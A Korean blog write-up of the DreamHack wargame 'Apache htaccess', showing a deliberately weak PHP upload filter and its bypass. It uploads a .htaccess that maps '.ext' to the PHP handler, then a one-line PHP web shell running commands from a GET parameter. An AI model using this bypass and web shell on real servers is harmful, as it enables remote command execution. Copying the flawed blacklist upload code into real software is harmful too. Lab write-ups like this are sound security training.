본문 바로가기

DreamHack

[DreamHack] Apache htaccess

https://dreamhack.io/wargame/challenges/418

 

Apache htaccess

Description 파일 업로드 기능을 악용하여 서버의 권한을 획득하세요 !

dreamhack.io

난이도: Level 1

src/upload.php

<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");

if (isset($_FILES)) {
    $file = $_FILES["file"];
    $error = $file["error"];
    $name = $file["name"];
    $tmp_name = $file["tmp_name"];

    if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
    }else {
        $temp = explode(".", $name);
        $extension = end($temp);

        if(in_array($extension, $deniedExts)){
            die($extension . " extension file is not allowed to upload ! ");
        }else{
            move_uploaded_file($tmp_name, "upload/" . $name);
            echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
        }
    }
}else {
    echo "File is not selected";
}
?>

업로드 PHP 파일 내용을 보면, 업로드하려는 파일의 확장자가 php 일 때 업로드가 안되도록 막아놓았습니다. 하지만, .htaccess 파일을 활용하면 이를 우회할 수 있습니다. 

.htaccess

AddType application/x-httpd-php .ext

.htaccess 파일에 AddType application/x-httpd-php .ext를 추가한 후, .htaccess 파일을 업로드합니다.

webshell.ext

<?php
        system($_GET['cmd']);
?>

 

업로드가 완료되었다면, 웹 서버는 .ext 확장자를 .php 파일로 인식하게 되고 webshell.ext 파일을 업로드하여 웹셸을 실행시킬 수 있습니다.  

 

'DreamHack' 카테고리의 다른 글

[DreamHack] sql injection bypass WAF Advanced  (0) 2023.08.09
[DreamHack] sql injection bypass WAF  (0) 2023.08.08
[DreamHack] CSRF Advanced  (0) 2023.08.08
[DreamHack] ex-reg-ex  (0) 2023.08.08
[DreamHack] Flying Chars  (0) 2023.08.08